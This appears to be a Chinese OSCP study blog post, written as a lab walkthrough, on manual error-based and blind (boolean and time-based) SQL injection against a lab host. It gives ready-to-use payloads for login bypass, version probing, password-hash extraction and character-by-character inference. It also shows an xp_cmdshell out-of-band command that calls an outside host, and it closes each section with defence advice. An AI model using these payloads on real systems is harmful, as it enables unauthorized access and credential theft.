5-3〔OSCP ◈ 研记〕❘ SQL注入攻击▸基于错误的SQLi 盲注SQLi
郑重声明: 本文所有安全知识与技术,仅用于探讨、研究及学习,严禁用于违反国家法律法规的非法活动。对于因不当使用相关内容造成的任何损失或法律责任,本人不承担任何责任。 如需转载,请注明出处且不得用于商业盈利。
💥👉点赞❤️ 关注🔔 收藏⭐️ 评论💬💥
更多文章戳👉Whoami!-CSDN博客🚀
𖤐 让我们开启SQL注入的新世界吧,走起 !
𖤐 𝓛𝓮𝓽'𝓼 𝓸𝓹𝓮𝓷 𝓾𝓹 𝓪 𝓷𝓮𝔀 𝔀𝓸𝓻𝓵𝓭 𝓸𝓯 𝓢𝓠𝓛 𝓲𝓷𝓳𝓮𝓬𝓽𝓲𝓸𝓷,𝓱𝓮𝓻𝓮 𝔀𝓮 𝓰𝓸 !
→ 信息收集
→ 漏洞检测
→ 初始立足点
→ 权限提升 ▸SQL注入攻击▸基于错误的SQLi & 盲注SQLi-----我们在这儿~ 🔥🔥🔥
→ 横向移动
→ 报告/分析
→ 教训/修复
目录
1.SQL注入攻击
1.1 手动SQL注入深度解析
1.1.1 SQLi漏洞原理
1.1.2 基于错误(Error-Based)的SQLi
1.1.2.1 攻击流程
1.1.2.2 初始探测:寻找SQL注入点
1.正常页面登录尝试
2.在输入点构造错误查看页面反应
1.1.2.3 基础攻击:绕过身份验证
1.1.2.4 信息收集:探测数据库信息
1.获取数据库版本信息
2.获取数据库某个表的数据(失败)
3.数据窃取:获取表中密码列的内容
4.数据窃取:获取用户名admin的密码哈希
1.1.2.5 攻击总结与防御建议
1.攻击过程总结
2.安全防御建议
1.1.3 SQL盲注攻击
1.1.3.1 带内 VS 带外SQLi
1.1.3.2 盲注SQLi概念
1.1.3.3 基于布尔的盲注攻击
1.1.3.4 基于时间的盲注攻击
1.1.3.5 防御策略
💥创作不易💥求一波暴击👉点赞❤️ 关注🔔 收藏⭐️ 评论💬
1.SQL注入攻击
1.1 手动SQL注入深度解析
SQL注入是一种通过操纵用户输入来干扰后端SQL查询的技术。当应用程序未正确验证或过滤用户输入时,攻击者可以注入恶意SQL代码,从而执行非预期的数据库操作。
攻击原理示意图
用户输入 → 应用程序 → SQL查询拼接 → 数据库执行↓ ↓ ↓ ↓ 恶意Payload → 未过滤 → 被当作代码执行 → 数据泄露/篡改
1.1.1 SQLi漏洞原理
易受攻击的PHP代码示例:
🔥攻击向量分析
变量 | 正常输入(在网页端) | 恶意输入 | 效果 |
---|---|---|---|
$uname | offsec | admin' OR 1=1 -- // | 改变查询逻辑 |
$passwd | jam | 任意值 | 被注释忽略 |
最终SQL | SELECT * FROM users WHERE uname='offsec' AND passwd='jam' | SELECT * FROM users WHERE uname=' admin' OR 1=1 -- // | 绕过认证。因为where内容永为真,因此直接输出users表内容 |
🔥 关键攻击技术
身份验证绕过Payload:
admin' OR 1=1 -- //
技术要点分解:
-
'
- 闭合原查询中的单引号 -
OR 1=1
- 添加永真条件,返回所有记录 -
-- //
- SQL注释符,忽略后续查询条件-
--
是SQL标准注释 -
空格是必需的分隔符
-
//
提供额外保护,防止空白截断
-
由于我们添加了一个始终为真的OR语句(or 1=1),WHERE子句将返回数据库中的第一个用户ID(因为在网页上只能显示一行数据),无论用户记录是否存在。由于应用程序中没有实施其他检查,我们可以通过绕过身份验证逻辑来获得管理员权限。
1.1.2 基于错误(Error-Based)的SQLi
1.1.2.1 攻击流程
1.1.2.2 初始探测:寻找SQL注入点
开始真实的实验。
测试思路:
正常登录尝试:
用户名: offsec
+密码: jam
结果:收到"无效密码错误" ✅
注入探测:
用户名: admin'
+任意密码
结果:SQL语法错误 🚨 → 发现注入点!
实验步骤:
1.正常页面登录尝试
在kali上的浏览器登录到http://192.168.50.16,然后输入用户名offsec和密码jam,最后点击提交。因为密码jam是错误的,提示“无效密码”,如下图。
2.在输入点构造错误查看页面反应
脑洞打开!页面上没有其他输入点,就尝试在用户名的输入框上:故意构造SQL语法错误,观察页面执行后的反应。我们将在用户名后面添加一个单引号(offsec'),然后再次点击提交。
这次收到一个SQL语法错误,这意味着我们能够与数据库进行交互。说明这个地方是SQL注入点。
"SQL语法错误 = 注入漏洞存在" 🚨
这里,是一个带内的SQL注入。
💡 带内SQL注入(In-band SQLi):当应用程序(这里是Web)直接返回SQL查询结果或错误信息到用户界面。
攻击Payload → 应用程序 → 数据库执行 → 错误信息返回 → 攻击者分析
特征对比表:
注入类型 信息反馈方式 攻击难度 典型场景 带内SQLi 直接显示错误/结果 ⭐⭐ 开发/测试环境 盲注SQLi 间接推断(布尔/时间) ⭐⭐⭐⭐ 生产环境 带外SQLi 外部通道传输数据 ⭐⭐⭐⭐⭐ 高度安全环境 严禁显示SQL调试信息的理由:
环境类型 错误显示级别 安全风险 开发环境 详细SQL错误 中等风险 测试环境 部分错误信息 中高风险 生产环境 仅通用错误消息 必须执行 防御措施:
❌ 关闭SQL调试模式
✅ 使用自定义错误页面
✅ 记录错误到日志文件(非用户界面)
✅ 返回通用错误信息(如:"系统错误,请联系管理员")
1.1.2.3 基础攻击:绕过身份验证
Payload构造:用户名字段。(注意,不用输入密码。因为SQL语句原因,密码字段可有可无。)
offsec' OR 1=1 -- //
攻击效果:
-
✅ 身份验证成功!
-
🔓 绕过登录机制
-
📊 返回数据库中的第一个用户记录
技术原理:SELECT * FROM users WHERE uname='
offsec' OR 1=1 -- // '
AND passwd='xxx'
组件 | 作用 | 效果 |
---|---|---|
offsec' | 闭合原用户名字段 | 终止原始查询 |
OR 1=1 | 永真条件 | 绕过WHERE子句检查 |
-- // | 注释后续代码 | 忽略密码验证 |
1.1.2.4 信息收集:探测数据库信息
1.获取数据库版本信息
' OR 1=1 in (select @@version) -- //
执行结果:
-
📋 返回一个警告,并带出 MySQL 8.0.28 版本信息
-
因为SQL的WHERE的结果是FALSE,因此输出“无效密码”提示(就像输错密码一样)。
查询结构分析:
原始:SELECT * FROM users WHERE username = '[输入]' AND password = '[密码]' 注入后:SELECT * FROM users WHERE username = '' OR 1=1 in (select @@version) -- //解释
:1=1 in (select @@version)
子查询:
select @@version
作用:返回数据库版本信息(如:
"8.0.28"
)1=1表达式:
结果:始终为
TRUE
(布尔值)IN运算符:
功能:检查左侧值是否存在于右侧结果集中
问题:
TRUE
(布尔值)与版本字符串比较实际结果:❌ 类型不匹配,返回FALSE
2.获取数据库某个表的数据(失败)
收到以上错误:因为,WEB页面一次只能查询一列的内容!!!
3.数据窃取:获取表中密码列的内容
从users表获取password列,一共获得4个密码哈希。只是,不知道每个密码哈希对应哪个用户。
4.数据窃取:获取用户名admin的密码哈希
通过添加一个WHERE子句来解决这个问题,指定要检索哪个用户的密码,这里是admin。
结果: 🎯 成功获取admin用户(管理员)的密码哈希,接下来把md5密码哈希转为明文,即可进行页面登录。
1.1.2.5 攻击总结与防御建议
1.攻击过程总结
以上就是利用SQL错误响应的注入,获取非授权信息的全过程。
攻击阶段 | 获取信息 | 利用价值 |
---|---|---|
注入点确认 | SQL错误响应 | 确认漏洞存在 |
基础绕过 | 管理员权限 | 系统未授权访问 |
版本信息 | MySQL 8.0.28 | 后续攻击参考 |
数据结构 | 表结构信息 | 优化攻击Payload |
密码哈希 | 所有用户密码哈希 | 密码破解基础 |
管理员凭证 | admin用户哈希 | 最高权限获取 |
2.安全防御建议
⚠️ 暴露的安全问题
-
错误信息过度泄露 - 显示详细SQL错误
-
缺乏输入验证 - 直接拼接用户输入
-
无参数化查询 - 未使用预处理语句
-
权限控制不足 - 应用账户权限过高
🛡️ 防御措施建议
防御层 | 具体措施 | 效果 |
---|---|---|
输入层 | 输入验证、白名单过滤 | 阻止恶意Payload |
代码层 | 参数化查询、预处理语句 | 分离代码与数据 |
数据库层 | 最小权限原则、存储过程 | 限制攻击影响范围 |
应用层 | 自定义错误页面、WAF | 减少信息泄露 |
1.1.3 SQL盲注攻击
1.1.3.1 带内 VS 带外SQLi
注入类型 | 信息反馈方式 | 攻击难度 | 检测方法 | 典型场景 |
---|---|---|---|---|
🎪 带内SQLi | 页面直接显示错误/结果 | ⭐⭐ | 错误信息、UNION查询 | 开发测试环境 |
🌐 带外SQLi | 外部通道传输数据 | ⭐⭐⭐⭐ | 使用SQL语句查询DNS/HTTP | 高度安全环境 |
带外SQLi示例:假设攻击者利用以下SQL注入:
'; EXEC xp_cmdshell('nslookup example.com'); --
EXEC :是一个SQL命令,用于执行指定的存储过程或 SQL 语句。
xp_cmdshell :是SQL Server的一个扩展存储过程,它允许SQL Server执行操作系统级别的命令,比如运行:批处理文件、PowerShell 脚本,或其他命令行工具。
这种注入会触发数据库执行一个命令:通过xp_cmdshell执行系统命令来发起外部DNS请求,而这个请求的结果(如nslookup查询的结果)会被返回到攻击者控制的服务器上。
1.1.3.2 盲注SQLi概念
"数据库响应从未直接返回,攻击者通过应用程序的间接行为推断查询结果",也属于一种带外SQLi。
关键特征:
-
🚫 无直接数据返回 - 不显示数据库错误或查询结果
-
🔍 间接推断 - 通过应用程序行为变化判断
-
⏱️ 需要大量测试 - 逐个字符/位进行推断
盲注分类:
- 基于布尔的盲注:通过向后端注入条件语句,使应用在条件为 TRUE / FALSE 时返回可区分的响应(页面内容、字段存在与否、错误/成功分支等),据此逐位推断数据。“基于布尔的”盲注用于推断结果的输出来自于Web 应用程序,而不是数据库本身。
- 基于时间的盲注:通过使数据库在某条件满足时执行延时(sleep/wait),根据请求的响应时间长短来判断条件真伪。
📊 盲注攻击技术对比:
特性 | 基于布尔 | 基于时间 |
---|---|---|
检测依据 | 页面内容/状态变化 | 响应时间延迟 |
适用场景 | 页面有可见变化 | 任何情况(最通用) |
攻击复杂度 | ⭐⭐⭐ | ⭐⭐⭐⭐ |
1.1.3.3 基于布尔的盲注攻击
打开页面:http://192.168.50.16/blindsqli.php,并输入offsec、lab登录。
攻击Payload示例:在url上进行构造,或BP上构造请求包。
http://192.168.50.16/blindsqli.php?user=offsec' AND 1=1 -- //
🎯 攻击机制:实际上会把user的值写入到SQL查询语句。
SELECT * FROM users WHERE username = 'offsec' AND 1=1 -- //
布尔逻辑分析:
条件组合 | 结果 | WEB页面响应 |
---|---|---|
用户offsec存在, AND 1=1 | ✅ TRUE | 正常页面 |
用户offsec不存在, AND 1=2 | ❌ FALSE | 错误/空页面 |
用户offsec,不存在 ,AND 任何 | ❌ FALSE | 错误/空页面 |
🔄 攻击流程:
猜测用户名 → 构造AND条件 → 观察WEB页面响应 → 确认用户存在性
实际应用:
-
👤 用户枚举:
admin' AND 1=1 -- //
-
📊 数据提取:逐个字符猜测敏感数据
-
🔑 密码破解:通过布尔响应推断密码哈希
布尔盲注进阶技巧:
-- 用户存在性检测 ' AND (SELECT username FROM users WHERE id=1)='admin' -- //-- 数据长度探测 ' AND (SELECT LENGTH(password) FROM users WHERE username='admin')=32 -- //-- 逐字符提取 ' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a' -- //
1.1.3.4 基于时间的盲注攻击
攻击Payload示例:在url上进行构造,或BP上构造请求包。
http://192.168.50.16/blindsqli.php?user=offsec' AND IF(1=1, sleep(3), 'false') -- //
🎯 攻击机制:实际上把user的值写入到SQL查询语句。
SELECT * FROM users WHERE username = 'offsec' AND IF(1=1, sleep(3), 'false') -- //
IF函数解析:
IF(条件, 真时执行, 假时执行)
条件 | 执行动作 | 观察结果 |
---|---|---|
1=1 (TRUE) | sleep(3) | ⏱️ 页面响应延迟3秒 |
1=2 (FALSE) | 'false' | ⚡ 页面立即响应 |
🔄 攻击流程:
构造IF条件 → 注入时间延迟 → 测量响应时间 → 推断条件真伪
实际应用场景:
-
🗂️ 数据库版本探测:
IF(@@version LIKE '8%', sleep(3), 0)
-
👤 用户存在确认:
IF(user='admin', sleep(2), 0)
-
🔐 密码字符猜测:
IF(substr(password,1,1)='a', sleep(3), 0)
时间盲注进阶技巧:
-- 条件时间延迟 ' AND IF((SELECT COUNT(*) FROM users)>10, sleep(2), 0) -- //-- 逐位数据提取 ' AND IF(ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>100, sleep(3), 0) -- //-- 数据库信息探测 ' AND IF(@@version LIKE 'MySQL%', sleep(2), 0) -- //
1.1.3.5 防御策略
-
🔍 无明显错误信息 - 传统WAF难以检测
-
📊 流量模式正常 - 单个请求看起来合法
-
⏱️ 时间分散 - 攻击周期长,难以关联
🛡️ 防御策略
防御层 | 具体措施 | 效果 |
---|---|---|
输入验证 | 严格类型检查、长度限制 | 阻止恶意输入 |
参数化查询 | 使用预处理语句 | 根本性防护 |
权限控制 | 最小权限原则 | 限制攻击影响 |
监控告警 | 异常请求模式检测 | 及时发现攻击 |
时间延迟限制 | 查询执行超时设置 | 减缓时间盲注 |
💥创作不易💥求一波暴击👉点赞❤️ 关注🔔 收藏⭐️ 评论💬
您的支持是我创作最大的动力!